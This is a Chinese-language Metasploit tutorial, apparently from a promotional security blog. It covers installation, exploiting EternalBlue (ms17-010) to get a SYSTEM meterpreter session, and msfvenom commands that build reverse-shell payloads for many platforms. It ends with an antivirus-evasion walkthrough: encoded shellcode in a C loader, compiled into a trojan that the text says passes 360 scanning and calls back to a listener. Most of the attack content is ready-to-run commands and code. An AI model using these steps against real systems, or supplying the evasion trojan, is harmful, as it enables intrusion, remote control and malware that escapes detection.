快捷搜索:  汽车  科技

msf 基础命令:MSF使用教程

msf 基础命令:MSF使用教程MSF有两个版本,Metaploit是开源免费的,Metaploit pro的商业收费的,这里我们用免费的社区版就可以了MSF官网:https://www.metasploit.com/当H.D. Moore在2003年发布Metasploit时,计算机安全状况也被永久性地改变了,仿佛一夜之间,任何人都可以成为黑客。因为只要掌握MSF的使用方法,每个人都可以使用MSF来攻击那些未打过补丁或者刚刚打过补丁的漏洞。也因此软件厂商再也不能推迟发布针对已公布漏洞的补丁了,因为Metasploit团队一直都在努力开发各种攻击工具,并将它们贡献给所有Metasploit用户。

欢迎搜索公众号:白帽子左一

可免费领取10余本(黑客)电子书 渗透工具包

01MSF简介

Metasploit(MSF)是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。

它本身附带数百个已知软件漏洞,是一款专业级漏洞攻击工具。

当H.D. Moore在2003年发布Metasploit时,计算机安全状况也被永久性地改变了,仿佛一夜之间,任何人都可以成为黑客。

因为只要掌握MSF的使用方法,每个人都可以使用MSF来攻击那些未打过补丁或者刚刚打过补丁的漏洞。

也因此软件厂商再也不能推迟发布针对已公布漏洞的补丁了,因为Metasploit团队一直都在努力开发各种攻击工具,并将它们贡献给所有Metasploit用户。

02MSF安装介绍

MSF官网:https://www.metasploit.com/

MSF有两个版本,Metaploit是开源免费的,Metaploit pro的商业收费的,这里我们用免费的社区版就可以了

MSF下载地址:

https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers

MSF安装

(1)一键式安装

在Linux / MacOS上安装Metasploit,这里有官方提供的脚本,可以一键式安装

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \chmod 755 msfinstall && \./msfinstall

(2)手动安装

注意:如果上面方法不可行,也可以进行手动安装

Debian / Ubuntu软件包位于https://apt.metasploit.com,而Centos / Redhat / Fedora软件包位于https://rpm.metasploit.com

ubuntu安装

从https://apt.metasploit.com/下载MSF 的deb安装包。

在终端运行:dpkg -i metasploit-framework_6.0.7 20200916102431_1rapid7-1_amd64.deb

就已经安装好了,数据库的安装看上面的步骤

Centos安装
从https://rpm.metasploit.com下载 rpm安装包

在终端运行:rpm-i metasploit-framework-6.0.7 20200916102441~1rapid7-1.el6.x86_64.rpm

安装完成

安装postgresql数据库

msf使用的是postgresql数据库 如果没有的话需要先安装

安装数据库的时候会自动创建系统用户postgres 数据库用户postgres 数据库postgres

1、apt-get install postgresql //安装postgresql数据库 2、su - postgres //切换到postgres用户 3、psql //登陆postgresql数据库,首次登陆没有密码 4、\password postgres //修改数据库用户postgres的密码

msf更新命令:

sudo msfupdate

msf使用数据库

1、msfconsole //启动msf 2、db_connect postgres:hehehe@127.0.0.1/test //用户名,密码,地址,自己随意编造的名字。 3、db_status //查看数据库连接状态MSF的功能模块介绍

MSF所用功能主要可分为这几个模块,每个模块都有各自的功能领域,形成了渗透测试的流程

1、Auxiliary(辅助模块)


为渗透测试信息搜集提供了大量的辅助模块支持


2、Exploits(攻击模块)


利用发现的安全漏洞或配置弱点对远程目标系统 进行攻击,从而获得对远程目标系统访问权的代码组件。


3、Payload(攻击载荷模块)


攻击成功后促使靶机运行的一段植入代码


4、Post (后渗透攻击模块)


收集更多信息或进一步访问被利用的目标系统


5、Encoders(编码模块)


将攻击载荷进行编码,来绕过防护软件拦截

03MSF的基本使用方法

例如攻击永恒之蓝:

开启数据库:service postgresql start

初始化msf数据库:msfdb init

msf 基础命令:MSF使用教程(1)

开启MSF:msfconsole

msf 基础命令:MSF使用教程(2)

这里我们拿永恒之蓝这个漏洞进行简单的使用

首先要保证是能够访问到目标机器的,那么我们先ping一下目标机器,看网络是否连通

msf 基础命令:MSF使用教程(3)

此时是连通的状态

永恒之蓝的漏洞编号:ms17-010

根据漏洞名称搜索 : search ms17_010

msf 基础命令:MSF使用教程(4)

1、运用辅助模块扫描目标

设置模块:use auxiliary/scanner/smb/smb_ms17_010

查看设置:options

msf 基础命令:MSF使用教程(5)

设置目标地址:set rhosts 192.168.174.129

目标端口默认是445,如果用nmap端口扫描windows文件共享服务不是开放在445端口上面,那这里需要进行修改,set rport 目标端口

设置好了之后,run或者exploit 进行攻击

msf 基础命令:MSF使用教程(6)

绿色的加号为可攻击

2、设置攻击模块对目标进行攻击

使用攻击模块:use exploit/windows/smb/ms17_010_eternalblue

查看所需设置:options

msf 基础命令:MSF使用教程(7)

设置目标地址:set RHOSTS 192.168.174.129

设置目标端口:set RPORT 445

设置payload:set payload windows/x64/meterpreter/reverse_tcp

设置本地地址:set LHOST 192.168.174.192

攻击:run或者exploit

msf 基础命令:MSF使用教程(8)

攻击成功,成功拿到会话

注意:存在一定机率将目标机器打成蓝屏或者重启

查看目前权限

msf 基础命令:MSF使用教程(9)

系统权限,想干什么都可以了~

04MSF后门生成模块

Msfvenom常用命令参数

-l --list <type> # 列出所有可用的项目,其中值可以被设置为 payloads encoders nops platforms archs encrypt formats等等 -p --payload <payload> # 指定特定的 Payload,如果被设置为 - ,那么从标准输入流中读取 --list-options # 列出--payload <value> 的标准,高级和规避选项 -f --format <format> # 指定 Payload 的输出格式(使用 --list formats 列出) -e --encoder <encoder> # 指定使用的 Encoder (使用 --list encoders 列出) --sec-name <value> # 生成大型Windows二进制文件时使用的新名称。默认值:随机4个字符的字符串 --smallest # 使用所有可用的编码器生成最小的payload --encrypt <value> # 应用于shellcode的加密或编码类型 (使用--list encrypt 列出) --encrypt-key <value> # 用于加密的密钥 --encrypt-iv <value> # 加密的初始化向量 -a --arch <arch> # 指定目标系统架构(使用 --list archs 列出) --platform <platform> # 指定目标系统平台 (使用 --list platforms 列出) -o --out<path> # 保存payload文件 -b --bad-chars <list> # 设置需要在 Payload 中避免出现的字符,如:'\x00\xff' -n --nopsled <length> # 指定 nop 在 payload 中的数量 -s --space <length> # 设置未经编码的 Payload 的最大长度 --encoder-space <length> # 编码后的 Payload 的最大长度 -i --iterations <count> # 设置 Payload 的编码次数 -c --add-code <path> # 指定包含一个额外的win32 shellcode文件 -x --template<path> # 指定一个特定的可执行文件作为模板 -k --keep # 保护模板程序的功能,注入的payload作为一个新的进程运行 -v --var-name <value> # 指定一个变量名(当添加 -f 参数的时候,例如 -f python,那么输出为 python 代码, payload 会被按行格式化为 python 代码,追加到一个 python 变量中,这个参数即为指定 python 变量的变量名) -t --timeout <second> # 设置从STDIN读取payload的等待时间(默认为30 0为禁用) -h --help # 帮助msfvenom生成shellcode

普通生成

msfvenom -p 有效载荷-f 输出格式-o 输出文件 msfvenom -p windows/meterpreter/reverse_tcp -f exe -o payload.exe

编码生成

msfvenom -a 系统架构--platform 系统平台-p 有效载荷 lhost=攻击机IP lport=攻击机端口-e 编码方式-i编码次数-f 输出格式-o 输出文件 msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=8888-i 3-e x86/shikata_ga_nai -f exe -o payload.exe

msfvenom —list archs #查看支持的系统架构

aarch64 armbe armle cbea cbea64 cmd dalvik firefox java mips mips64 mips64le mipsbe mipsle nodejs php ppc ppc64 ppc64le ppce500v2 python r ruby sparc sparc64 tty x64 x86 x86_64 zarch

msfvenom —list platforms #查看支持系统平台

aix android apple_ios bsd bsdi cisco firefox freebsd hardware hpux irix java javascript juniper Linux mainframe multi netbsd netware nodejs openbsd osx php python r ruby solaris unifi unix unknown windows

msfvenom -l payload #列出所有可用的payload

msfvenom -l formats #列出所有的输出格式

msfvenom -l encrypt #列出所有的加密方式

msfvenom -l encoders #列出所有的编码器

常见生成格式

1、 Windows

msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp -i 3-e x86/shikata_ga_nai -f exe -o payload.exe

2、Linux

msfvenom --platform linux -a x86 -p linux/x86/meterpreter/reverse_tcp -f elf -o payload.elf

3、Mac

msfvenom --platform osx -a x86 -p osx/x86/shell_reverse_tcp -f macho -o payload.macho

4、Android

msfvenom -p android/meterpreter/reverse_tcp -o payload.apk

5、Aspx

msfvenom --platform windows-p windows/meterpreter/reverse_tcp -f aspx -o payload.aspx

6、JSP

msfvenom --platform java -p java/jsp_shell_reverse_tcp -f raw -o payload.jsp

7、PHP

msfvenom -p php/meterpreter_reverse_tcp -f raw -o payload.php

8、BASH

msfvenom -p cmd/unix/reverse_bash -f raw -o shell.sh

9、Python

msfvenom -p python/meterpreter/reverse_tcp -f raw -o shell.py 05木马如何免杀

木马绕过免杀本质上还是更改他的特征码,那么总结一下可以有

编码 加壳免杀 二次编译 分离免杀:即将shellCode和加载器分离

目前msfvenom的encoder特征基本都进入了杀软的漏洞库,很难实现单一encoder编码而绕过杀软,所以对shellcode进行进一步修改编译成了msf免杀的主流。

互联网上有很多借助于C、C#、python等语言对shellcode进行二次编码从而达到免杀的效果。

第一步:安装编译软件VC 6.0

msf 基础命令:MSF使用教程(10)

第二步:生成一个常见的木马

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b '\x00' lhost=192.168.174.196 lport=1250 -f c

msf 基础命令:MSF使用教程(11)

第三步、编译c语言为exe文件

#include"stdafx.h" #include<stdio.h> #pragma comment( linker "/subsystem:\"windows\" /entry:\"mainCRTStartup\"") unsignedchar buf[]= (这里放生成好的数组) main() { ((void(*)(void))&buf)(); }

打开vc6.0,新建一个程序

msf 基础命令:MSF使用教程(12)

选择一个简单的win32程序

msf 基础命令:MSF使用教程(13)

打开a.app

msf 基础命令:MSF使用教程(14)

将我们的代码复制进去

msf 基础命令:MSF使用教程(15)

msf 基础命令:MSF使用教程(16)

编译一下,看是否有问题

msf 基础命令:MSF使用教程(17)

再编译一下a.cpp

msf 基础命令:MSF使用教程(18)

没有问题的话,就可以组建a.exe了,这个文件就是我们要的木马文件

msf 基础命令:MSF使用教程(19)

第四步、测试是否成功

把得到的a.exe 复制到桌面,右键用360的木马云查杀功能试一下

msf 基础命令:MSF使用教程(20)

成功绕过~

msf 基础命令:MSF使用教程(21)

再测试一下我们的木马是否有用,打开MSF开启监听

开启监听:msf5 >use exploit/multi/handler 设置payload,和生成的木马保持一致:set payload windows/meterpreter/reverse_tcp 设置本地地址,和木马一致:set lhost 192.168.174.196 设置本地端口,和木马一致:set lport 1250

msf 基础命令:MSF使用教程(22)

msf5 exploit(multi/handler)> run

msf 基础命令:MSF使用教程(23)

成功拿到会话了, 证明我们的木马没啥问题~

本文主要讲解MSF的一个安装到使用,如果以上文字你还存在疑惑,可以去领取视频观看演示详情!有的时候,同样的内容,视频与文字所展现出来也是两种效果.


点击下方:"了解更多"查看视频

猜您喜欢: